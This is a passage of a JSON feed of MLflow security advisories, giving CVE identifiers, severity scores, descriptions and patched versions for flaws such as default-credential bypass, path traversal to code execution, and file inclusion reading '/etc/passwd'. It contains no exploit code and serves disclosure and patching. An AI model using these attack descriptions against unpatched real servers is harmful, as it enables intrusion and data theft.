3.8.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Y2gzLTJmOXgtd2g5Zs4ABTqk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ncTN3LTdqajMteDdncs4ABStG","url":"https://github.com/advisories/GHSA-gq3w-7jj3-x7gr","title":"MLflow Use of Default Password Authentication Bypass Vulnerability","description":"This vulnerability allows remote attackers to bypass authentication on affected installations of MLflow. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the basic_auth.ini file. The file contains hard-coded default credentials. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of the administrator.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-21T00:31:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-2635","https://github.com/mlflow/mlflow/pull/19260","https://www.zerodayinitiative.com/advisories/ZDI-26-111","https://github.com/mlflow/mlflow/commit/5bf2ec2bd4222a18d78631183ac7f6b752afe8a4","https://github.com/mlflow/mlflow/releases/tag/v3.8.0rc0","https://github.com/advisories/GHSA-gq3w-7jj3-x7gr"],"source_kind":"github","identifiers":["GHSA-gq3w-7jj3-x7gr","CVE-2026-2635"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-17T21:00:09.668Z","updated_at":"2026-10-10T09:06:57.637Z","epss_percentage":0.01242,"epss_percentile":0.68324,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncTN3LTdqajMteDdncs4ABStG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ncTN3LTdqajMteDdncs4ABStG","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.8.0rc0","vulnerable_version_range":"\u003c 3.8.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ncTN3LTdqajMteDdncs4ABStG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xMnI4LXZtcTctZnB4Ms4ABSs6","url":"https://github.com/advisories/GHSA-q2r8-vmq7-fpx2","title":"MLflow Tracking Server Artifact Handler Directory Traversal Remote Code Execution Vulnerability","description":"MLflow Tracking Server Artifact Handler Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of MLflow Tracking Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of artifact file paths. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the service account.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-21T00:31:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-2033","https://github.com/mlflow/mlflow/pull/19260","https://www.zerodayinitiative.com/advisories/ZDI-26-105","https://github.com/mlflow/mlflow/commit/5bf2ec2bd4222a18d78631183ac7f6b752afe8a4","https://github.com/mlflow/mlflow/releases/tag/v3.8.0rc0","https://github.com/advisories/GHSA-q2r8-vmq7-fpx2"],"source_kind":"github","identifiers":["GHSA-q2r8-vmq7-fpx2","CVE-2026-2033"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-17T21:00:09.668Z","updated_at":"2026-10-10T09:06:57.636Z","epss_percentage":0.01728,"epss_percentile":0.76898,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xMnI4LXZtcTctZnB4Ms4ABSs6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xMnI4LXZtcTctZnB4Ms4ABSs6","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.8.0rc0","vulnerable_version_range":"\u003c 3.8.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xMnI4LXZtcTctZnB4Ms4ABSs6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00eDVwLWYzNnItbXh4cs4ABRyv","url":"https://github.com/advisories/GHSA-4x5p-f36r-mxxr","title":"mlflow Creates of Temporary File in Directory with Insecure Permissions","description":"In mlflow version 2.20.3, the temporary directory used for creating Python virtual environments is assigned insecure world-writable permissions (0o777). This vulnerability allows an attacker with write access to the `/tmp` directory to exploit a race condition and overwrite `.py` files in the virtual environment, leading to arbitrary code execution. The issue is resolved in version 3.4.0.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-02T12:31:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-10279","https://github.com/mlflow/mlflow/commit/1d7c8d4cf0a67d407499a8a4ffac387ea4f8194a","https://huntr.com/bounties/01d3b81e-13d1-43aa-b91a-443aec68bdc8","https://github.com/advisories/GHSA-4x5p-f36r-mxxr"],"source_kind":"github","identifiers":["GHSA-4x5p-f36r-mxxr","CVE-2025-10279"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-02T22:00:09.190Z","updated_at":"2026-10-10T09:08:00.513Z","epss_percentage":0.00244,"epss_percentile":0.14106,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eDVwLWYzNnItbXh4cs4ABRyv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00eDVwLWYzNnItbXh4cs4ABRyv","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.4.0rc0","vulnerable_version_range":"\u003c 3.4.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eDVwLWYzNnItbXh4cs4ABRyv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZ3FwLThoNDYtNng0as4ABQ79","url":"https://github.com/advisories/GHSA-pgqp-8h46-6x4j","title":"MLFlow is vulnerable to DNS rebinding attacks due to a lack of Origin header validation","description":"MLFlow versions up to and including 3.4.0 are vulnerable to DNS rebinding attacks due to a lack of Origin header validation in the MLFlow REST server. This vulnerability allows malicious websites to bypass Same-Origin Policy protections and execute unauthorized calls against REST endpoints. An attacker can query, update, and delete experiments via the affected endpoints, leading to potential data exfiltration, destruction, or manipulation. The issue is resolved in version 3.5.0.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-12T09:30:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-14279","https://github.com/mlflow/mlflow/commit/b0ffd289e9b0d0cc32c9e3a9b9f3843ae83dbec3","https://huntr.com/bounties/ef478f72-2e4f-44dc-8055-fc06bef03108","https://github.com/mlflow/mlflow/pull/17910","https://github.com/advisories/GHSA-pgqp-8h46-6x4j"],"source_kind":"github","identifiers":["GHSA-pgqp-8h46-6x4j","CVE-2025-14279"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-13T21:00:07.987Z","updated_at":"2026-10-10T09:08:09.978Z","epss_percentage":0.00216,"epss_percentile":0.11013,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZ3FwLThoNDYtNng0as4ABQ79","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZ3FwLThoNDYtNng0as4ABQ79","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"3.5.0","vulnerable_version_range":"\u003c 3.5.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZ3FwLThoNDYtNng0as4ABQ79/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Y3ZqLTdyZzYtamdnas4ABN-n","url":"https://github.com/advisories/GHSA-5cvj-7rg6-jggj","title":"MLflow Tracking Server Model Creation Directory Traversal Remote Code Execution Vulnerability","description":"MLflow Tracking Server Model Creation Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of MLflow Tracking Server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of model file paths. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-26921.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-29T21:30:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-11201","https://github.com/B-Step62/mlflow/commit/2e02bc7bb70df243e6eb792689d9b8eba0013161","https://www.zerodayinitiative.com/advisories/ZDI-25-931","https://github.com/mlflow/mlflow/commit/e7dc0574fa3459e0003cfeb68d4e4a625491f03d","https://github.com/mlflow/mlflow/commit/5f98ff98659dddb188591ecf6b10a4e276a0dba7","https://github.com/advisories/GHSA-5cvj-7rg6-jggj"],"source_kind":"github","identifiers":["GHSA-5cvj-7rg6-jggj","CVE-2025-11201"],"repository_url":"https://github.com/B-Step62/mlflow","blast_radius":0.0,"created_at":"2025-11-05T17:00:14.647Z","updated_at":"2026-10-10T09:08:32.519Z","epss_percentage":0.26452,"epss_percentile":0.97946,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Y3ZqLTdyZzYtamdnas4ABN-n","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Y3ZqLTdyZzYtamdnas4ABN-n","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.22.4","vulnerable_version_range":"\u003c 2.22.4"},{"first_patched_version":"3.0.0","vulnerable_version_range":"\u003e= 3.0.0rc0, \u003c 3.0.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Y3ZqLTdyZzYtamdnas4ABN-n/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02eGo4LXJycXgtcjRjds4ABN-s","url":"https://github.com/advisories/GHSA-6xj8-rrqx-r4cv","title":"MLflow Weak Password Requirements Authentication Bypass Vulnerability","description":"MLflow Weak Password Requirements Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of MLflow. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of passwords. The issue results from weak password requirements. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-26916.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-29T21:30:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-11200","https://github.com/mlflow/mlflow/commit/1f74f3f24d8273927b8db392c23e108576936c54","https://www.zerodayinitiative.com/advisories/ZDI-25-932","https://github.com/advisories/GHSA-6xj8-rrqx-r4cv"],"source_kind":"github","identifiers":["GHSA-6xj8-rrqx-r4cv","CVE-2025-11200"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2025-11-05T17:00:16.950Z","updated_at":"2026-10-10T09:08:45.873Z","epss_percentage":0.01439,"epss_percentile":0.72125,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02eGo4LXJycXgtcjRjds4ABN-s","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02eGo4LXJycXgtcjRjds4ABN-s","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.22.0rc0","vulnerable_version_range":"\u003c 2.22.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02eGo4LXJycXgtcjRjds4ABN-s/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13eGo3LTNmeDUtcHA5bc4ABJW7","url":"https://github.com/advisories/GHSA-wxj7-3fx5-pp9m","title":"MLFlow SSRF via gateway_proxy_handler","description":"gateway_proxy_handler in MLflow before 3.1.0 lacks gateway_path validation.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-06-23T15:31:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-52967","https://github.com/mlflow/mlflow/issues/15944","https://github.com/mlflow/mlflow/pull/15970","https://github.com/mlflow/mlflow/releases/tag/v3.1.0","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2025-52.yaml","https://github.com/mlflow/mlflow/releases/tag/v2.22.2","https://github.com/advisories/GHSA-wxj7-3fx5-pp9m"],"source_kind":"github","identifiers":["GHSA-wxj7-3fx5-pp9m","CVE-2025-52967"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2025-06-23T22:08:10.399Z","updated_at":"2026-10-10T09:09:10.017Z","epss_percentage":0.00438,"epss_percentile":0.35593,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13eGo3LTNmeDUtcHA5bc4ABJW7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13eGo3LTNmeDUtcHA5bc4ABJW7","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.22.2","vulnerable_version_range":"\u003c 2.22.2"},{"first_patched_version":"3.1.0","vulnerable_version_range":"\u003e= 3.0.0rc0, \u003c 3.1.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13eGo3LTNmeDUtcHA5bc4ABJW7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00cmoyLTlnY3gtNXFoeM4ABFvl","url":"https://github.com/advisories/GHSA-4rj2-9gcx-5qhx","title":"MLflow has Weak Password Requirements","description":"In mlflow/mlflow version 2.18, an admin is able to create a new user account without setting a password. This vulnerability could lead to security risks, as accounts without passwords may be susceptible to unauthorized access. Additionally, this issue violates best practices for secure user account management. The issue is fixed in version 2.19.0.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2025-03-20T12:32:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.8,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-1474","https://github.com/mlflow/mlflow/commit/149c9e18aa219bc47e86b432e130e467a36f4a17","https://huntr.com/bounties/e79f7774-10fe-46b2-b522-e73b748e3b2d","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2025-17.yaml","https://github.com/advisories/GHSA-4rj2-9gcx-5qhx"],"source_kind":"github","identifiers":["GHSA-4rj2-9gcx-5qhx","CVE-2025-1474"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2025-03-22T00:08:05.000Z","updated_at":"2026-10-10T09:10:24.527Z","epss_percentage":0.00359,"epss_percentile":0.27504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cmoyLTlnY3gtNXFoeM4ABFvl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cmoyLTlnY3gtNXFoeM4ABFvl","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.19.0","vulnerable_version_range":"\u003c 2.19.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cmoyLTlnY3gtNXFoeM4ABFvl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Njl3LWdxcXItZzZqM84ABFv4","url":"https://github.com/advisories/GHSA-969w-gqqr-g6j3","title":"MLflow Cross-Site Request Forgery (CSRF) vulnerability","description":"A Cross-Site Request Forgery (CSRF) vulnerability exists in the Signup feature of mlflow/mlflow versions 2.17.0 to 2.20.1. This vulnerability allows an attacker to create a new account, which may be used to perform unauthorized actions on behalf of the malicious user.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-20T12:32:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-1473","https://github.com/mlflow/mlflow/commit/ecfa61cb43d3303589f3b5834fd95991c9706628","https://huntr.com/bounties/43dc50b6-7d1e-41b9-9f97-f28809df1d45","https://github.com/advisories/GHSA-969w-gqqr-g6j3"],"source_kind":"github","identifiers":["GHSA-969w-gqqr-g6j3","CVE-2025-1473"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2025-03-22T00:08:04.969Z","updated_at":"2026-10-10T09:10:24.526Z","epss_percentage":0.00216,"epss_percentile":0.10683,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Njl3LWdxcXItZzZqM84ABFv4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Njl3LWdxcXItZzZqM84ABFv4","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.20.3","vulnerable_version_range":"\u003e= 2.17.0, \u003c 2.20.3"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Njl3LWdxcXItZzZqM84ABFv4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00OW02LXZycjktMmNxbc4ABFvt","url":"https://github.com/advisories/GHSA-49m6-vrr9-2cqm","title":"MLflow Uncontrolled Resource Consumption vulnerability","description":"In mlflow/mlflow version 2.17.2, the `/graphql` endpoint is vulnerable to a denial of service attack. An attacker can create large batches of queries that repeatedly request all runs from a given experiment. This can tie up all the workers allocated by MLFlow, rendering the application unable to respond to other requests. This vulnerability is due to uncontrolled resource consumption.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-20T12:32:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-0453","https://huntr.com/bounties/788327ec-714a-4d5c-83aa-8df04dd7612b","https://github.com/advisories/GHSA-49m6-vrr9-2cqm"],"source_kind":"github","identifiers":["GHSA-49m6-vrr9-2cqm","CVE-2025-0453"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-03-22T00:08:02.463Z","updated_at":"2026-10-10T09:10:24.525Z","epss_percentage":0.11033,"epss_percentile":0.95655,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00OW02LXZycjktMmNxbc4ABFvt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00OW02LXZycjktMmNxbc4ABFvt","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 2.17.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00OW02LXZycjktMmNxbc4ABFvt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00cnFmLThwZm0tcDM2cs4ABFs3","url":"https://github.com/advisories/GHSA-4rqf-8pfm-p36r","title":"MLflow has a Local File Read/Path Traversal in dbfs","description":"A path traversal vulnerability exists in mlflow/mlflow version 2.15.1. When users configure and use the dbfs service, concatenating the URL directly into the file protocol results in an arbitrary file read vulnerability. This issue occurs because only the path part of the URL is checked, while parts such as query and parameters are not handled. The vulnerability is triggered if the user has configured the dbfs service, and during usage, the service is mounted to a local directory.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-03-20T12:32:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-8859","https://github.com/mlflow/mlflow/commit/7791b8cdd595f21b5f179c7b17e4b5eb5cbbe654","https://huntr.com/bounties/2259b88b-a0c6-4c7c-b434-6aacf6056dcb","https://github.com/advisories/GHSA-4rqf-8pfm-p36r"],"source_kind":"github","identifiers":["GHSA-4rqf-8pfm-p36r","CVE-2024-8859"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2025-03-21T04:08:10.227Z","updated_at":"2026-10-10T09:10:27.180Z","epss_percentage":0.02715,"epss_percentile":0.85505,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cnFmLThwZm0tcDM2cs4ABFs3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cnFmLThwZm0tcDM2cs4ABFs3","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.17.0rc0","vulnerable_version_range":"\u003c 2.17.0rc0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cnFmLThwZm0tcDM2cs4ABFs3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xM2d3LTgyMzYtNWp3NM4ABFsO","url":"https://github.com/advisories/GHSA-q3gw-8236-5jw4","title":"MLflow Uncontrolled Resource Consumption vulnerability","description":"In mlflow/mlflow version v2.13.2, a vulnerability exists that allows the creation or renaming of an experiment with a large number of integers in its name due to the lack of a limit on the experiment name. This can cause the MLflow UI panel to become unresponsive, leading to a potential denial of service. Additionally, there is no character limit in the `artifact_location` parameter while creating the experiment.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-20T12:32:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-6838","https://huntr.com/bounties/8ad52cb2-2cda-4eb0-aec9-586060ee43e0","https://github.com/advisories/GHSA-q3gw-8236-5jw4"],"source_kind":"github","identifiers":["GHSA-q3gw-8236-5jw4","CVE-2024-6838"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-03-22T01:07:45.941Z","updated_at":"2026-10-10T09:10:24.521Z","epss_percentage":0.00652,"epss_percentile":0.49502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xM2d3LTgyMzYtNWp3NM4ABFsO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xM2d3LTgyMzYtNWp3NM4ABFsO","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 2.13.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xM2d3LTgyMzYtNWp3NM4ABFsO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xcGdjLXc0bWctNnY5Ms4ABBvR","url":"https://github.com/advisories/GHSA-qpgc-w4mg-6v92","title":"MLflow's excessive directory permissions allow local privilege escalation","description":"Excessive directory permissions in MLflow leads to local privilege escalation when using spark_udf. This behavior can be exploited by a local attacker to gain elevated permissions by using a ToCToU attack. The issue is only relevant when the spark_udf() MLflow API is called.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-11-25T18:33:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-27134","https://github.com/mlflow/mlflow/pull/10874","https://github.com/mlflow/mlflow/commit/0b1d995d66a678153e01ed3040f3f4dfc16a0d6b","https://github.com/advisories/GHSA-qpgc-w4mg-6v92"],"source_kind":"github","identifiers":["GHSA-qpgc-w4mg-6v92","CVE-2024-27134"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":27.05841689137505,"created_at":"2024-11-25T20:07:35.496Z","updated_at":"2026-10-10T09:11:49.150Z","epss_percentage":0.00121,"epss_percentile":0.0228,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcGdjLXc0bWctNnY5Ms4ABBvR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xcGdjLXc0bWctNnY5Ms4ABBvR","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.16.0","vulnerable_version_range":"\u003c 2.16.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcGdjLXc0bWctNnY5Ms4ABBvR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04ZjhxLXEyajctN2oybc4AA8w-","url":"https://github.com/advisories/GHSA-8f8q-q2j7-7j2m","title":"Undefined Behavior in mlflow","description":"A vulnerability in mlflow/mlflow version 2.11.1 allows attackers to create multiple models with the same name by exploiting URL encoding. This flaw can lead to Denial of Service (DoS) as an authenticated user might not be able to use the intended model, as it will open a different model each time. Additionally, an attacker can exploit this vulnerability to perform data model poisoning by creating a model with the same name, potentially causing an authenticated user to become a victim by using the poisoned model. The issue stems from inadequate validation of model names, allowing for the creation of models with URL-encoded names that are treated as distinct from their URL-decoded counterparts.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-06-06T21:30:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-3099","https://huntr.com/bounties/8d96374a-ce8d-480e-9cb0-0a7e5165c24a","https://github.com/advisories/GHSA-8f8q-q2j7-7j2m"],"source_kind":"github","identifiers":["GHSA-8f8q-q2j7-7j2m","CVE-2024-3099"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-06T23:05:14.129Z","updated_at":"2026-10-10T09:13:13.100Z","epss_percentage":0.00442,"epss_percentile":0.35675,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ZjhxLXEyajctN2oybc4AA8w-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04ZjhxLXEyajctN2oybc4AA8w-","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.11.3","vulnerable_version_range":"\u003c 2.11.3"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04ZjhxLXEyajctN2oybc4AA8w-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNDZxLTVweHgtOHZtd84AA8xl","url":"https://github.com/advisories/GHSA-j46q-5pxx-8vmw","title":"Local File Inclusion in mlflow","description":"A Local File Inclusion (LFI) vulnerability was identified in mlflow/mlflow, specifically in version 2.9.2, which was fixed in version 2.11.3. This vulnerability arises from the application's failure to properly validate URI fragments for directory traversal sequences such as '../'. An attacker can exploit this flaw by manipulating the fragment part of the URI to read arbitrary files on the local file system, including sensitive files like '/etc/passwd'. The vulnerability is a bypass to a previous patch that only addressed similar manipulation within the URI's query string, highlighting the need for comprehensive validation of all parts of a URI to prevent LFI attacks.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-06T21:30:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-2928","https://github.com/mlflow/mlflow/commit/96f0b573a73d8eedd6735a2ce26e08859527be07","https://huntr.com/bounties/19bf02d7-6393-4a95-b9d0-d6d4d2d8c298","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2024-242.yaml","https://github.com/advisories/GHSA-j46q-5pxx-8vmw"],"source_kind":"github","identifiers":["GHSA-j46q-5pxx-8vmw","CVE-2024-2928"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2024-06-06T23:05:14.167Z","updated_at":"2026-10-10T09:13:13.101Z","epss_percentage":0.21847,"epss_percentile":0.97503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNDZxLTVweHgtOHZtd84AA8xl","html_url":"https://advisories.ecosyste.ms/advisories/G